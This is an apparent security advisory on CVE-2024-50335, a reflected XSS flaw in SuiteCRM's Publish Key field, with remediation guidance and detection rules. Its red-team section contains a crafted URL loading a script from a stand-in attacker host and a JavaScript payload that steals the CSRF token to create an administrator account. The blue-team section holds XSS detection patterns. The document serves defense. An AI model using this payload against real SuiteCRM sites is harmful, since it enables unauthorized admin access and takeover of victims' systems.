CVE-2024-50335

Executive Summary

CVE-2024-50335 is a reflected Cross-Site Scripting (XSS) vulnerability in SuiteCRM, an open-source CRM application. The flaw resides in the "Publish Key" field on the Edit Profile page, where insufficient input validation allows an attacker to inject malicious JavaScript. This script can steal CSRF tokens and perform unauthorized actions, such as creating new administrative users. The vulnerability affects versions prior to 7.14.6 and 8.7.1. With a CVSS score of 4.9 (Medium), exploitation requires an authenticated user to interact with a crafted link. No public exploit code or Nuclei templates are available, but the attack vector is well-documented.

CVSS Breakdown & Threat Level

• CVSS Score: 4.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid user account.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact (C): Low (L) – Limited data exposure.
• Integrity Impact (I): Low (L) – Limited data modification.
• Availability Impact (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ability to escalate privileges via CSRF token theft makes this a serious risk for SuiteCRM deployments.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the Publish Key field of the Edit Profile page (index.php?module=Users&action=EditView). When a user submits the form, the Publish Key value is reflected in the response without proper sanitization. An attacker can craft a URL with a malicious payload in the publish_key parameter. When an authenticated user clicks the link, the script executes in their session context.

The injected script (e.g., o.js) can:

1. Capture the CSRF token from the page.
2. Forge a request to create a new administrative user.
3. Execute the request using the stolen token, bypassing CSRF protection.

This allows an attacker to gain persistent admin access without needing the victim's password.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.14.6 / 8.7.1): The Publish Key field is output directly without encoding:

<input type="text" name="publish_key" value="<?php echo $_REQUEST['publish_key']; ?>">

Patched Code (7.14.6 / 8.7.1): The value is sanitized using htmlspecialchars():

<input type="text" name="publish_key" value="<?php echo htmlspecialchars($_REQUEST['publish_key'], ENT_QUOTES, 'UTF-8'); ?>">

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A valid SuiteCRM user account (low privilege).
• A victim with an active session.

Step 1: Craft the malicious URL

http://target.suitecrm.local/index.php?module=Users&action=EditView&publish_key=<script src="http://attacker.com/o.js"></script>

Step 2: Host the payload (o.js)

// o.js - CSRF token theft and admin creation
var csrfToken = document.querySelector('input[name="csrf_token"]').value;
var xhr = new XMLHttpRequest();
xhr.open('POST', '/index.php?module=Users&action=Save', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('csrf_token=' + csrfToken + '&user_name=attacker&user_password=Password123&is_admin=1');

Step 3: Deliver the link (e.g., via email or social engineering).

Step 4: Victim clicks the link – the script executes, creating a new admin user.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual publish_key parameters containing <script> tags.
• Alert on requests to /index.php?module=Users&action=Save with suspicious parameters.

Prevention:

• Apply the patch immediately.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Enforce Content Security Policy (CSP) headers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with publish_key containing <script> or onerror= attributes.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com/o.js).
• File IOCs:
  • Unexpected JavaScript files in web root (e.g., o.js).
• User IOCs:
  • New administrative accounts created without proper authorization.
  • Suspicious entries in SuiteCRM audit logs (e.g., user creation from unexpected IPs).

Detection Engineering

YARA Rule

rule CVE_2024_50335_XSS_Payload {
    meta:
        description = "Detects XSS payload targeting SuiteCRM Publish Key field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50335"
    strings:
        $xss1 = /publish_key=.*<script/i
        $xss2 = /publish_key=.*onerror=/i
        $xss3 = /publish_key=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: SuiteCRM Publish Key XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against SuiteCRM Publish Key field
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 'publish_key='
        cs-method: 'GET'
        sc-status: 200
    filter:
        c-uri|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection and filter
falsepositives:
    - Legitimate use of special characters in Publish Key
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50335 SuiteCRM Publish Key XSS Attempt"; flow:to_server,established; content:"publish_key="; http_uri; pcre:"/publish_key=.*(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SuiteCRM to version 7.14.6 or 8.7.1.
2. Apply virtual patching via WAF rules to block XSS payloads in the publish_key parameter.
3. Review user accounts for unauthorized administrative users.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits and penetration testing.
• Train users to avoid clicking suspicious links.

Workarounds:

• No official workarounds exist; upgrading is the only fix.

Valters IT